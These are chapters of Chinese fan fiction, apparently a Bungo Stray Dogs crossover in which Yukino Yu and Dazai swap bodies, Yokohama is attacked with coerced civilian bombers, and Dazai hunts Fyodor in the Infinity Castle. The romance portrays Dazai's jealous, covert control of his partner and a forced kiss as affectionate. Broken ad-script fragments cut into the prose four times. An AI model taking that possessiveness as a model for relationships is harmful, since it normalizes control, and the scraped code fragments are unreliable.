八点向侦探社众人说明情况。 八点半收拾好东西,带上特意拿来的虚哭神去和中岛敦、国木田独步出任务。 打人的间隙回复太宰治五花八门的消息,并感叹一米八的视角确实不一样。 十二点到一点,在侦探社品尝完织田作之助的手作便当,被辣得说不出话,只能去楼下咖啡店购买了一大杯冰咖啡。 顺便替太宰治还上了欠费几个月的账单。 收获大批异样眼光。 这小子不是有她的副卡吗?看来果然是喜欢那种催命的感觉啊。 其实此时正在打算随机挑选一个前同事的卡用来还账单的太宰治:“阿嚏!” 下午,各自坐在位置上看文件的众人心情复杂,还时不时掏出手机交换几句意见。 【国木田独步】:太宰这小子,绝对是骗婚了吧! 【与谢野晶子】:支持。 婚前用自己横滨头牌一样的脸钓鱼富婆小姐姐,结果婚后才被发现本质是黑泥精什么的。 【谷崎润一郎】:呃……但雪野小姐和太宰先生应该是真心相爱的吧? 【谷崎直美】:不愧是哥哥,直美也是这么想的呢?那种看向心爱之人的眼神、还有太宰先生说过的捆绑什么的我也可以用来和哥哥试试哦。 【谷崎润一郎】:啊……在这里说这个不太好吧。 【谷崎直美】:嘻嘻,哥哥害羞了? 【中岛敦】:…… 他只觉得上午雪野小姐刀都没出鞘就把犯罪分子打倒,还两下就翻过了高墙最后将一个逃跑的男人截停,最后踩着对方的头回消息的样子很可怕啊! 太宰先生平时真的没有被打吗? 太宰治:当然会被夕酱打啊,尤其是辩论的时候她完全说不过我,下一秒就会被脸朝墙壁咚呢。 嘻嘻,爽了。 下次还要这么干。 【国木田独步】:你们说他们什么时候才会换回来。 【与谢野晶子】:我甚至都没见过她啊!还是换过来吧,否则对着太宰治的脸我不好意搭讪! 雪野夕也正有这种烦恼,要知道她当初可是为了各种美人写了一整本日记的人。 现在顶着太宰治的脸,她难道要在看到好看的人的时候勾唇一笑,然后开始夸赞对方的美貌吗? 总感觉如果这么做,明天半个武装侦探社的成员都得犯胃痛啊! 不过自己是不是也应该先吃两粒胃药,雪野夕思忖,她该怎么对恋人解释,自己因为太好奇织田作号称没放辣椒的咖喱毅然决然地吃了一整份便当的呢。 ……下班买束花送给他? 太宰治没有按照发给雪野夕的日程表来行动,相反他下午时就离开了港口大楼,还体验了一把空间异能力来无影去无踪的爽感。 最终他停留在一条黑沉沉的小巷子前,眼睛里流露出绝不可能出现在雪野夕面前的凛冽味道。 “呀,太宰桑?” 四年未见,这只见不得光的北国老鼠还是这么烦人。 “真是没想到你会与雪野在一起,为此……”费奥多尔浅绯色的唇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 畔吐露着毒汁,“亲自给自己带上各式镣铐。” “镣铐?”此刻拥有恋人面容的太宰治毫无波澜地嗤笑,“老鼠就是老鼠,不相信世界上有纯粹的羁绊。” “夕酱是我的恋人。”他语调中有着四年前未曾有过的炫耀和信任,“所以我不会用此刻的样子来伤害你,庆幸吧,费奥多尔。” “哈哈哈……”费奥多尔笑得胸腔震动,他微微低下头,“恋人?” “在港口mafia内部和其他人员身上动手脚,以此确保她时刻处于自己绝对的目光之下。” “离开时又刻意暴露彼此的关系,让首领也不会对她交付全部的信任。” “以为这样做就能得到另一个人绝对的爱与垂怜……” 他酒红色的眼眸中逐渐浮现戏谑,“太宰桑所描绘的‘爱’和‘羁绊’还真是可笑。” 费奥多尔并未掩饰自己的挑衅——你敢像个普通人一样,将雪野夕置于真正的“外界”吗? 雪野夕原本像冬日森林一样的眼睛,隐藏其后的却是太宰治偏执的灵魂。 正如此刻,他背光而立,没有像恋人一样每天都会将长发束好再出门,反而是随意地批在身后,与他此刻注视对手的眼神相衬,好似在白日里划开了一方夜色。 良久,低柔的笑声响起,在空旷无人的巷子中传开好远。 “明明可以随时剖开你的心脏。”栗子酱落在面无表情的“雪野夕”肩头,“说到底,我无需向一只阴暗的老鼠解释我所得到的东西。” “如果打算做些什么,那不妨现在就开始向你的神祈祷吧。” “哦?”费奥多尔微微偏转身体的角度,意在告诉狙击手撤离,“那么我们今日的谈话该结束了。” “但是……太宰桑。”他路过时特意停顿几秒,近乎用狭促的语气讽刺,“在你拿枪指着雪野小姐之前,我们就已经交流过小提琴协奏曲的技巧了呢。” 那又如何? 太宰治抱住围绕在身边的栗子酱,等到他彻底失败,打不了砍掉老鼠的爪子就是。 时间来到下午五点整。 今日的横滨又是和平的一天呢。 雪野夕在武装侦探社旁边的花店购买了一大束绣球花,准备待会儿送给自己的恋人。 “夕酱,回头哦。” 她自己的声音传来,不过平日里可不会是这样的语气。 “……你怎么把我的发型剪成了公主切?” “不可以嘛?明明夕酱今天也用我的身体扎双马尾出门了。” 被侦探社其他社员暗中拍摄一整天,甚至在用双马尾发型砍人时疑似吓到了可怜孩子敦敦。 中岛敦表示理解,因为另一个野蛮的家伙芥川龙之介,他打人时总是先发表感言再动手,如今看来是结合了太宰先生喜欢动嘴而雪野小姐喜欢动手的特点。 这真是太悲惨了……哈哈。 此时两个人正一起披着横滨和平的夕阳回家,两个人的声音传来,自然地就交汇进街上许许多多的交谈中。 “给你买的绣球花哦。” “呜,夕酱果然最好了!” 54.变成蝴蝶 新的一天,还是没有换回来。 雪野夕醒来的时候,额角还残留着一点睡得长才有的胀痛。 太宰治的睡眠时长比她短多了,这具身体似乎不怎么适应一下睡十个小时。 顶着雪野夕脸的太宰治也正在叹气,天知道每天早上欣赏雪野小姐懵懵的样子已经变成他的习惯了,但今天一觉起来只能看到自己一路茫然的样子,好奇怪。 “哦对,我得到太宰的身体了……”雪野夕也是懵了一会儿才反应过来,“好奇怪。” “……夕酱为什么总是说些让人误会的话?” “可是不管是从表面还是歧义来说,我都没说错啊。” “……好想换回来。” “那你可以行动啊。”她一把抱住自己的身体开始摸,“怎么样,用我的身体去做什么了?招不招?” “呜……别挠我了。”太宰治用被子把自己卷成春卷,“等换回来我真的会狠狠报复回去哦。” “我才不信呢,我选现在挠你,换回来也不让你挠我。” “真霸道。”他小小声吐槽,看上去比原装自己可爱多了。 “哎呀我真可爱。”雪野夕美滋滋地戳戳自己的脸,“要不然怎么会这么说话还一点都不做作啊。” “夕酱肯定是天使。”在吹自己这方面,恋人太宰治比她本人擅长多了,他非常笃定地说:“夕酱就像夜空中指名方向的星星一样,不但勇敢还超级独立坚强,让人忍不住想要靠近……” 有时候雪野夕真佩服他的信念感。 居然能将这些羞耻的台词都念出情深脉脉的感觉。 “我觉得你说的很对。”她一把抱住对方,“所以不要怀疑这么完美的我的眼光啊。” “所以夕酱果然是喜欢我的身体吗?” 自己的嗓音埋在喉间,低低地问出如同鬼魅一样的问题,“毕竟如果真的看清‘太宰治’的灵魂,又有谁会喜欢呢?” “哎?”雪野夕一个激灵,毕竟猫猫怎么突然就黑化啦! 她本来想捏住他的脸,但现在面露哀伤的好像是她自己的身体啊。 “为什么会这么想呢?”她最终选择紧紧地抱住了他,“……你明明知道,我是绝对不会因为外貌而选择跟一个人结婚的吧?” “而且横滨好看的人很多啊,比如说……” “打住。”太宰治停止假哭,伸出一根手指,“这种时候不许夸别人。” “……好霸道。” “反客为主禁止啊,雪野小姐。” 雪野夕悻悻闭嘴,因为以这几年的经验来看,恋人叫她“雪野小姐”的时候,就是真的要生气了。 “爱太宰的人,分明就很多啊……” 他们两个一起在清晨的被窝里抱在一起,雪野夕给他细数,“即使没有我,也有织田作,安吾,侦探社的大家,芥川,中也,就连森先生也未必不……” “总感觉这些都是雪野小姐的‘比如’里包括的人。”他还在闷闷地闹别扭,“我要是变成蝴蝶就好了。” 只能在夏季存活三日的蝴蝶,但这三日里总有你的陪伴,好过自己在这个腐朽的世界里生存二十年。 “可是在我变成‘太宰治’的时间里,在我与大家相处的时候……”雪野夕回应他,“你也已经找到了自己的浮木啊,治君。” 人永远无法真正得到他人的帮助,人只能自己拯救自己。 这个道理,太宰治聪明的头脑再明白不过。 “但是……我会陪着你的。” “我会与你一起走下去,并最终一起燃烧。” . “哟,雪野,今天是卡点到的嘛。”江户川乱步歪歪头,“让名侦探猜猜你……” “我带了亲手做的饼干。”雪野夕紧急救火,用自己烤得饼干堵上了江户川乱步的嘴巴。 “什么嘛……就连这个他也想到了。”收到饼干的绿眼睛黑猫嘀咕一句,最终选择闭口不谈。 “那名侦探就略过这件事吧,反正也会很有趣。” “不好了!”国木田独步猛然推开侦探社的大门,“社长……社长呢!” 福泽谕吉在外出的路上收到了一封信,内容为控诉武装侦探社没有保护好横滨的普通居民,名不副实。 而在他刚刚回到侦探社时,外面不知不觉已经聚集起来一大批荷枪实弹的人,他们行动并不那么整齐,但就是这样的破绽却让众人心中一沉。 因为这群人本该是一群手无寸铁的普通人,现在却因为手持自己无法掌控的武器而被迫成为了牺牲品。 “……怎么办?”国木田独步蹲在桌子后面,“敦君和织田君出门还没回来,社长,我们只能依靠细雪迷惑他们。” “现在应该怎么办?”雪野夕小声问:“毕竟你们不能真的把这群普通人干掉……还是说可以打到半死不活再发动【请君勿死】。” “后门也被堵住了。”国木田独步“啧”了声,从怀里掏出小本子,“虽然是敌对组织的成员,但拜托你了,雪野,请保护好乱步先生。” “不……” “好的。”雪野夕点头,“乱步先生,社长看过来的眼神也是这么说的哦。” 福泽谕吉点点头。 “不,现在还有更重要的事。”江户川乱步推推眼镜,“社长收到的信算是预告函,但对方这么做就必然想好了要承担武装侦探社的怒火,这对他有什么好处?” “费奥多尔……”雪野夕也在同一时间想到了这个名字,四年前江户川乱步曾经和刚刚加入武装侦探社的织田作之助一同为太宰治叛逃提供过助力,那个时候他们就曾见识过魔人的手段。 “虽然知道这也不算脱离掌控,但看到社长受伤,名侦探还是很不爽。”他拿出怀里抱着的一本小说,“国木田,你用【独步吟客】与谷崎的【细雪】一起,我们先突围……接下来的人,名侦探会拖住他们。” “社长,针对侦探社的袭击不会只有一次的。”江户川乱步又看向福泽谕吉,“我会和雪野一起行动。” “接下来……?”虽然疑惑,但国木田独步没有怀疑他的话,反而与谷崎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 润一郎对视一眼,就一起发动了异能—— 巨大的爆炸声响起,门外的普通人,想必是得到了类似于“一旦失去视力或者其他能力就必须引爆身上的炸弹的命令”,一个个面无表情地按下手中的按钮。 福泽谕吉将社员们挡在身后,每一刀都精准地将带着碎石的火焰斩开,雪野夕拉住江户川乱步的胳膊,带着他从另一侧的窗户里翻了下去,不见踪影。 而在另一半,横滨另一个组织,港口mafia也收到了一封特别的预告函。 中原中也面无表情地双臂抱胸,“谁想被重力碾碎?” 他的身边站在名为雪野夕实则太宰治的家伙。 天知道他头一次觉得雪野的脸居然可以这么令人讨厌,关键是现在自己在太宰治犯贱时还不能真的下手打他。 “那就全都拜托中也了哟。”太宰治笑眯眯地,“毕竟人家体术很差啦。” “你这条青花鱼,不要用雪野的脸笑得那么恶心啊!” “噫,中也你居然这么说夕酱!我回去会告状的哦!” “什——不许!你这条卑鄙的青花鱼!喂!我没说雪野恶心啊!我说的是你!是你!” “虽然很高兴看到了一场闹剧——”送来邀请函的美丽女性有些叹息,“但你们是否太不把妾身当回事了呢?” “那不如就来尝试一下妾身的异能力吧。” “异能力,【命运定律】。” 带着江户川乱步刚刚落地的雪野夕眼前一花,小巷内已经有三个看上去就不好惹的壮汉在此等待。 但眼前这种有点眩晕的感觉……是交换身体时有过的感受。 自己这是要和太宰治换回来了? 手中的虚哭神去在微微震颤,一旦脱手,它便难逃在阳光下化为灰烬的命运。 拳头在不断接近……可恶,怎么偏偏是这个时候? 即使使用恋人的身体,她的体术也足够应付眼前的困境,雪野夕看向江户川乱步,却看见他眼睛里的坚定。 ……那应该就不会出事了。 她闭上眼睛。 再次睁开时,周围是辽阔的天地。 “啊!” 与恋人交换身体后,太宰治被打飞的第一反应,是紧紧握住手中的刀,如果虚哭神去消失了,夕酱绝对会伤心的。 将他打飞的壮汉露出一抹残忍的笑容,活动下手腕准备再次向前。 还不到动用坡的小说的时间……江户川乱步轻轻抚摸着手中的小说。 同样是一次呼吸的时间,倒在地上的人变成了原本堵截的三个壮汉。 站着的人变成了从身后将他们在一瞬间打晕的织田作之助,他走过来看向巷子尽头,血液从额头一路流淌到下巴的太宰治。 “太宰?” 对方正捂着左肋艰难地站起来,偏过头去咳血以免弄脏虚哭神去。 “……我可能要去医院把骨头接上呢。” “否则夕酱一定会伤心吧?” 穿着沙色风衣的青年用沙哑的声音回答。 55.突如其来 自己好像身处一片垃圾场。 雪野夕此时正借助异能力悬浮在空中,周围好像还有一个正在大喊大叫的黑色庞然大物。 ……那好像是中原中也。 中原中也!? “太宰!”帽子君的大嗓门激得雪野夕一抖,正好看见对方和自己大眼瞪小眼。 “中也,是我,我们换回来了。”她在中原中也疑惑的眼神中加大了音量,最后几乎是飞到他耳边用喊的声音吐槽,“为什么!我变小了!” “应该是刚刚那个人的异能力……”中原中也咬紧牙关,“可恶!竟敢直接像港口mafia的干部动手!我一定要……” “小——小、小点声。”雪野夕捂住耳朵,“你弹舌都被气出来了。” “总之我先带你去找boss。”帽子君傲娇中带点不好意思地摸摸鼻头,“不过要是刚刚那个异能者的异能力只是缩小别人的身体的话……把你送到太宰那里应该就可以了吧?” “把人变小的异能力?”雪野夕握住自己同样被缩小了的帽檐,太宰治今天用她的身体穿了一身JK出门,还特意梳了双马尾公主切的造型…… 感觉在做女子高中生这方面,他比自己在行。 “好像叫什么【命运定律】?” “……听上去没有只是把人变小这么简单。” “哦——” 以上是森鸥外和爱丽丝在看到雪野夕时一起发出的长长感叹。 “夕酱!可以陪爱丽丝玩换装游戏吗?”金发女童眼睛闪亮亮的,“爱丽丝有很多给芭比穿的小裙子呢!” “真是好久没看到雪野酱变小了呢,哎呀,真是非常可爱……哇哦!”森鸥外因为爱丽丝和雪野夕的双重怒视稍稍后仰,“这么凶巴巴吗?” “这是异能力的效果啦!”雪野夕躲过爱丽丝的魔爪,“虽然我也没看清是怎么回事,但总感觉没那么简单。” 中原中也随后向森鸥外说明情况。 还掏出了一封邀请函。 “这个邀请函,武装侦探社也收到了。”雪野夕凑过去看,“不过我没看到里面写了什么……什么?” 因为当邀请函拆开,里面的内容不过是一只孤零零的眼睛,下面还有几根奇异的延伸,就像是用于辅助行走的触手。 “这是什么恶心的东西?”中原中也面露烦躁,“将我们约到那里见面就为了送来这种连恐吓意味都不够的东西?” “雪野看上去认识这个?” 森鸥外注视着这只眼睛,向雪野夕扬了扬手里的信件。 “这是……鸣女。”她面色凝重,“上弦之四,鸣女。” “哈?那是什么东西?” “可以将她看做一个强大的异能者。”没时间解释鬼的概念,雪野夕飞速说明事情的严重性,“她能够操纵一个名为【无限城】的地底空间,范围广大,至少能将武装侦探社和港口mafia的所在地都囊括在内。” 简单地描述了一下鸣女的作用机制,这下森鸥外的脸色不得不凝重起来。 “也就是说,我们将面对一个范围极广且束缚很小的强大空间系异能者。” 无限城内的翻转全凭鸣女心意,如果是异能者进入其中倒还好,但如果大量的横滨普通人掉落其间…… “武装侦探社也收到了这封邀请函?”森鸥外带着手套的手轻点光滑洁白信纸上的灰色眼睛花纹,“中也,将外勤全部收回,这一次将会是异能者之间的战斗。” “雪野,去太宰那里吧。”他随后对站在桌子上的雪野夕说:“【命运定律】,这个异能的效果如果只是将人变小……” “异能力范围也变小了很多。” 刚刚已经偷偷用森先生黑卡实验过的雪野夕叉腰,看起来有些不满。 “现在能覆盖的范围就只有首领办公室这么大了!” 空间系能力者,在无限城中来去自如也不算什么难事,所以一上来就被针对了吗? 森鸥外摩挲了下十指。 ……那么幕后黑手会轻易地忽略掉【人间失格】这个因素吗? . 雪野夕是被中原中也一路拎着到了医院,一进病房就看到太宰治脸色苍白地躺在医院的病床上的样子。 “太宰!你没事吧!” 她“欻”一声落在他的被子上,抱住他一根手指,“检查结果怎么样?” “啊……”太宰治微微皱眉,向后靠在立起来的枕头上,“医生说断了三根肋骨。” “那肯定很疼……” “不知道为什么总感觉这小子是装的。”中原中也按住帽子,“喂,雪野,异能力好像没有解除啊。” “是哦。”已经发现这个问题的雪野夕颓废地盘腿坐下,像个小手办一样,“可恶的俄罗斯饭团竟敢把我变成这样……等我见到他我要把他打成超薄饼干!” “咳咳!咳咳……” 太宰治猛地咳嗽起来,“咳……夕酱,不知道为什么我突然好疼需要你抱住我才能好……” 中原中也因为他做作的语气“哈”了一声,有点不自在地对雪野夕说:“果然像boss猜测的那样,没那么简单。” “有人来了。”话说到一半,他跟只猫一样,机灵地看向门口。 “是我的同伴们噢。”太宰治还是一副柔弱的模样,“哎呀,港口mafia的重力使肯定不会留下来偷听我们的作战计划的,对吧?” “是boss派我来和谈的啊混蛋!”中原中也摩拳擦掌,又在雪野夕“不要啊这个时候就不要再打他了”的眼神中败下阵来,“话我已经带到了,你这混蛋最好能把事情解决。” 说完,他从窗户一跃而下,很快就不见踪影。 “那我应该可以留下来偷听吧?”雪野夕还靠在太宰治手背上,闻言又稍微后退一步,不再与他产生皮肤接触。 下一秒,她的身影出现在太宰治肩膀上,抱住他系在一边的发尾坐下来。 “贵宾席位。”她扯过发带尾巴当被子,“这样绝对没人发现我!” “夕酱,真是超可爱。”太宰治和她说悄悄话,“边上有社长他们送来的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饼干哦,要不要吃一点?” “毕竟贵宾席位提供的服务可不止是这些哦。” “那你知道为什么碰了你之后异能力还没有失效吗?”雪野夕抱住他的头发问,“还有之前交换身体也是……我都怀疑这都是你搞出来的了。” “怎么会呢夕酱。”太宰治故意稍稍耸肩蹭蹭脸颊旁边的恋人,“绝对没有的事呢。” “太宰先生!”中岛敦开门,带着身后的武装侦探社众人鱼贯而入,“我听说您和雪野小姐换回来了,您还好吧?” 悄悄话时间结束,太宰治稍微恢复了下黏糊糊属性,“不好哦,我的全身都好痛啊!” 老老实实准备削个水果的前杀手一顿,有些疑惑地思考:太宰好像就只是被一个没有异能力的普通人打了一拳,伤势真的有这么重吗? 但他都已经满脸苍白的躺在医院了…… 还是多给孩子补补吧! 织田作之助又一脸认真地削起了苹果。 雪野夕躲在太宰治的小辫子后面听他们交谈,身侧是恋人颈窝传来的源源不断的热气,还有他低哑柔和的嗓音。 香波用的是她喜欢的柑橘香气,凑近了也很好闻…… 她忍不住小小地扒拉了一下太宰治脖颈上的绷带缝隙。 哼哼,让他老是偷偷潜入她的办公室,还说要玩什么办公室play。 “太宰先生、太宰先生!”中岛敦忍不住稍微提高声音,“您还好吗?” “啊?哦……是敦啊。” 碎发遮住脸颊两侧,太宰治掩唇轻咳一声,“我没事。” “你小子怎么看上去这么不对劲?”国木田独步推推眼镜,“难道说……” 被国木田君怀疑倒是不会有什么问题,但是乱步先生也在场啊夕酱! 太宰治调整下呼吸,抬手将恋人遮住,然后扫进了袖子里。 随着宽大的袖子一路滑到他手肘的雪野夕:…… 手肘往上可是没有绷带的,看我怎么挠你! 他现在毕竟是个伤员这么做会不会不太好? 纠结的雪野夕一时间在袖子里陷入沉思,太宰治终于在江户川乱步“名侦探又可以借机敲诈零食”的眼神中清清嗓子—— “社长,那封寄过来的邀请函,我已经知道它的作用了。” “我们此次必须和港口mafia进行合作,一起保护横滨的普通居民。” 福泽谕吉在了解一切后,同样清楚无限城能造成的伤害巨大,稍微沉思一瞬就点头答应,“那么接下来,国木田、与谢野、谷崎,你们和贤治一起去疏散侦探社周围的人群,织田君、敦君和镜花就出去找到幕后主使。” “尽快打败他!” “乱步,有办法知道无限城的入口吗?”他问身边的人。 “很麻烦哦。”江户川乱步抱臂,“听刚刚的情报,这是个随机开门的东西,不过名侦探大概知道咖喱君和老虎什么时候落入无限城啦。” “那就麻烦你担任后备力量了。” “一切准备就绪!” 56.是嫉妒啊 “又要让敦和芥川联合行动了吗?” 众人走后,从太宰治袖口钻出来的雪野夕抱着他的手腕问。 “啊,毕竟我是打算把他们往新一任‘双黑’的方向培养哦。”太宰治笑眯眯地看着恋人托腮的动作,“哎呀夕酱这样真可爱,真想把你装在口袋里带走哦。” “达咩!” 雪野夕揪着他绷带的末端比了个拒绝的手势,“我才不要和开锁的别针、成卷的绷带还有一些稀奇古怪的东西待在一起。” “会专门给夕酱清空一个口袋的嘛。” “那也不行!为什么不是你变小我把你放在口袋里啊!” “哎?好主意哦。”太宰治的眼睛一下子就亮了,“夕酱会把我随身携带的对吧?” “……会吧。”如果是太宰治变小了,她绝对会把他捏起来狂吸。 逻辑成立,太宰治眼睛弯弯地将她捧在手心里,靠近了自己心口的位置—— 被他所包围的雪野夕自然也就没有看到他在触碰到心口时垂落眼睑下的阴影。 自由对于自己的恋人来说,是绝对不能被限制的东西。 但是他实在是太过嫉妒了呀,夕酱。 在费奥多尔出现时,他就嫉妒得发狂。 听到老鼠故作姿态漫不经心地说出那些试图破坏别人家庭的话时,太宰治更是恨不得让他立刻从这个世界上消失。 所以就这样做吧。 就让他短暂地享受一下恋人依偎在身畔的时刻,即使是以欺骗的姿态。 太阳渐渐消失,落日下的横滨蒙上一层浅浅血色,正在大街小巷中快速奔跑的中岛敦以及他身边一身黑衣的芥川龙之介,他们耳边双双传来一声拨弄弦乐的清响。 下一刻,脚下一空,失重感席卷了身体,千万点灯火伴随不断移动的房间在眼前闪烁,新一代双黑就此坠入无限城中。 病房里的太宰治曲起十指,轻轻蹭过恋人散开的黑发,“放心吧……夕酱,很快一切就会结束的。” 无论如何,他都会在此刻将满心嫉妒藏起,只露出最温柔无害的那一面才对。 他在恋人担忧地注视下“艰难”起身,撑住床沿走到床边,“无限城已经在横滨铺开了。” “接招吧人虎!” 罗生门一左一右扎入无限城内的墙体中,芥川龙之介像蜘蛛侠一样快速逼近中岛敦,“竟然敢让太宰先生向雪野小姐告状,在下一定要打败你!” “哈?你能不能看看环境再说话啊!”中岛敦四肢都变成了毛茸茸的虎爪,“太宰先生让我们联合行动!” “找到控制无限城的异能者再杀掉这种事,在下一个人也足以完成。”黑漆漆的芥川龙之介说话声音阴森森,周围围绕的罗生门也在张牙舞爪的。 “敦君。” 中岛敦耳机里传来太宰治的声音,“你可以把口袋里的另一个耳机交给芥川君。” 得到指示的中岛敦大吼,“太宰先生还在关注着我们呢!” 一句话,让凶猛的罗生门就此变成小猫咪。 芥川龙之介一言不发地接过耳机带上,“太宰先生!” “芥川,你有多久没有听从我的指挥做事了?”耳机里传来太宰治冰冷的声音,“别再做蠢事,从现在开始,尽快找到操纵无限城的人。” 虽然他的话很不留情面,但芥川龙之介居然意外地很吃这套。 “轻一点轻一点,夕酱!”被站在他肩上的雪野夕扯住小辫子的太宰治稍稍偏头,确保执行任务二人组无法听到声音后才变成小夹子求饶,“对不起嘛。” “怎么可以对孩子这么凶!”雪野夕吐槽,而且她现在这个体型根本没力气,只是轻微扯动了下他的卷发而已。 “那夕酱怎么可以对我这么凶!”猫咪立刻借题发挥,可怜巴巴地双手包住她蹭蹭,“姐姐,你是不是不爱我了……” “爱爱爱。” “呜!回答得那么快,姐姐是不是跟很多人都说过这种话!” “……那你再问一遍。” “你还爱我吗夕酱!” “……爱。” “你犹豫了姐姐!这种事还要思考嘛!” 一番拉扯后,太宰治右手食指骨节上多了个牙印,而他则是欢天喜地、心满意足地继续跟中岛敦和芥川龙之介通话去了。 雪野夕:……什么人啊。 “乱步先生现在应该转移到侦探社的秘密基地了吧。” 有他在,应该能把周围的普通人都清空……那么接下来就是异能者之间的对抗了吧。 “无限城是一片很适合用于游击作战的地方。”太宰治伸出一只手做恋人的陪玩,“如果我是那只试图破坏别人家庭的老鼠……呵。” “等等,这信息量有点大吧?”雪野夕抱住他的指尖“蹭”一声站起来,“什么叫破坏别人家庭?” “难道费奥多尔为了拉你入伙,不惜牺牲自己来追求你吗?” 一时间,撑着窗台装柔弱的太宰治忘记了自己树立好的人设,几乎是从地上弹跳起来,“夕酱!怎么可能嘛!” “嘶——那他派了谁来破坏这个家?” “……” “换个话题吧……”太宰治呻吟一声,再说下去,他就快要想起来自己的肋骨根本没断这回事了。 “好吧。”雪野夕也迅速改口,怎么能当着丈夫的面讨论小三呢,这样做实在太不明智了,“你刚刚的动作怎么这么敏捷?” “……” “再换一个话题好吗?求你了,姐姐……” 丈夫今天需要这么多台阶吗?雪野夕有点沉默,她思考片刻,用最沉稳的语气问—— “你觉得横滨目前形式如何?” 太宰治崩溃地捂住脸。 好生硬的台阶。 感觉像是他亲手做的硬豆腐,使用后都容易把自己的牙磕掉。 听说森先生吃过夕酱送到办公室的试吃品后,整整两周没在港口mafia露面。 啧,早知道森先生真的会吃他就再加点别的东西了。 “敦和芥川他们不会成功的。” 太宰治温柔地与恋人对视,“费奥多尔并不在无限城内。” “如果我是他……大概会找个不起眼的地方听音乐外加看戏吧,即使失败也容易全身而退。” 而他现在要做的就是将老鼠的退路封死,看谁先一步踩中对方的陷阱。 “所以……我们回家吧夕酱。” 趁着老鼠的目光聚集在无限 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 城内的战斗上,无暇顾及“受了重伤不得不在医院修养的太宰治”。 “我说过的,一切很快就会结束了。” 因为横滨的动乱,街道上一个人也没有,店铺也全部歇业,太宰治将恋人放在风衣口袋里,慢悠悠地往海边的家里走。 从医院到家的距离不远,只需要走上二十分钟,也不过是几千步而已。 “那家店里居然有比人还大的抱抱熊玩偶。” “嗯,等事情结束以后就帮夕酱买回去,放在阳台怎么样?” “哎?那家料理店是新开的吗?以前没有印象哎。” “那过几天就来一起尝尝吧。” “秋天要到了吧,我看到发黄的叶子了。” “是啊,只能明年再和夕酱一起赏花了呢。” 太宰治轻声回答完恋人的话,脚步也正好在门前的院子外站定。 “夕酱。” “嗯?” “跨越两个世界才见到我,一定很辛苦吧?” “太宰治只是一团混合了不知道什么东西的黑泥……这是大部分人的评价。” “但是……我真的很希望和夕酱在一起的日子能再长一些,最好是……直到我生命终结的那一天。” 在他手上的雪野夕身体一沉,眼前的视线就变成了居高临下的位置。 她正被太宰治单手抱起来,而他仰头追逐着她的眼睛。 “夕酱知道我根本没受伤这回事吧?” “费奥多尔跟你说了什……” 他空出来的左手穿过她散开的长发,最终停留在后脑的位置,不容置疑地向下一压。 太宰治的吻是什么样的? 在这四年的时间里,他大多数时间都展现下位者的姿态,将主动进攻的机会亲手交给恋人,但他本身却是一个偏执而又阴鸷的人。 此刻毫不留情地撕毁以往的面具,固执地不允许恋人后退,因此干脆将恋人的着力点通通剥夺,让她只会也只能依靠自己。 所谓剥夺,就是要野蛮地掠夺她的空间,再以近乎撕咬的力道表达爱。 而雪野夕无法后退也无法拒绝。 只能等到暴露本性的黑泥精自己找回理智,一寸一寸地用唇舌安抚恋人。 雪野夕被放下来的时候,脑子都有点懵,她下意识地抓住太宰治扶着她腰的手借力,平复自己急促的呼吸。 扣在她脑后的手慢慢地摸摸她的头顶才下移到脸侧,用拇指将雪野夕眼尾的一点水痕擦去。 随后下巴上传来一点强迫的力道,这次是她只能跟着他的手仰头。 “……还要、再来一次吗?” 雪野夕看着太宰治红润的嘴唇,和无时无刻用目光将她笼罩在内的姿态,下意识问出一句。 本来还在期待恋人反应的太宰治顿时轻轻笑了。 “当然可以哦,但是……” 他抱着她的腰前进一步,直到她的后背靠在门上,身体得以支撑,才低下头用唇擦过她的。 而后他退后一步—— “但是只能等到我回来以后了呢。” “很快哦,我向你保证,就在今夜真正到来之前。” 他的脚下不知何时出现了一扇无限城的“大门”。 57.月下旅人 “啧,你这家伙,为了耍酷不要命什么的,真是让人不爽。” 从天而降的太宰治摔在一个移动的房间上面,身边还站着用重力操纵将之移过来的中原中也。 “像中也这样单身的人不懂啦!”太宰治扶着腰站起来,“夕酱一定觉得我超帅的!” “雪野说不定觉得你超傻。”中原中也冷静地抚平自己手套上的褶皱,“完全搞不懂为什么她会和你结婚。” “哦——”听见这话的太宰治连摔倒的伤痛都忘了,“中也你终于愿意听我仔细讲解我和夕酱的恋爱史了吗?” “打住啊!你个变态。”中原中也嫌恶地跳出三米,“当务之急是找到那个不自量力的魔人才对吧?” “胆敢挑战港口mafia的权威,重力会将之碾碎!” “那行动代号不如就叫【风暴】之类的?” “喂喂!一点也不文雅啊!” 在连续击碎不少装上来的建筑后,重力使不满地“啧”一声,“那个家伙到底躲在什么地方?” 无限城一眼望去几乎无边无际,周围与他们身下的建筑更是在一刻不停地移动着,在其中找人简直就是痴人说梦。 “所以对雪野下手吗?可恶!”中原中也一拳打碎一扇木门,“空间移动的能力在这种地方超重要啊!” “你这家伙把雪野留在外面,最好是有别的布置!” “哎呀,不要那么着急嘛,中也。”太宰治通过手腕上的手表看了下时间,“新一轮的移动又要开始了,接下来不如跟着我走怎么样?” “哈?你能看出无限城里的移动规律?” “嗯哼~”太宰治转身,风衣在空中划出一道优美的弧度,他打了个响指,“大脑简单的蛞蝓还是跟着我的指示来前进吧~” 跟着太宰治穿过几个房间,中原中也忍不住回击,“倒不愧是青花鱼,弹跳能力还算可以。” “中也啊,你以为这样做就能激怒我吗?”被嘲讽的人伸出右手食指摇了摇,“可惜我现在一想到接下来会发生的事情,就非常高兴呢~” 他今晚说话简直像开了什么黏糊糊的特效,每句话尾巴上都几乎能看见实质化的波浪号。 让中原中也忍不住恶寒。 “唔呀!队友来了哦。”太宰治脚步一停,“敦君!芥川!” “太宰先生!”正在一堆建筑里左右横跳的小老虎也很开心,但下一刻他就灵活地一躲,随机对身边优雅落地的芥川龙之介怒目而视,“你干嘛偷袭我!” “哼!”凭什么我们两个一起来的,太宰先生却先喊了人虎的名字? 怎么想也都是人虎的错吧! “我要打电话告诉雪野小姐!” “你敢!” “太宰先生就在这里我为什么不敢?” 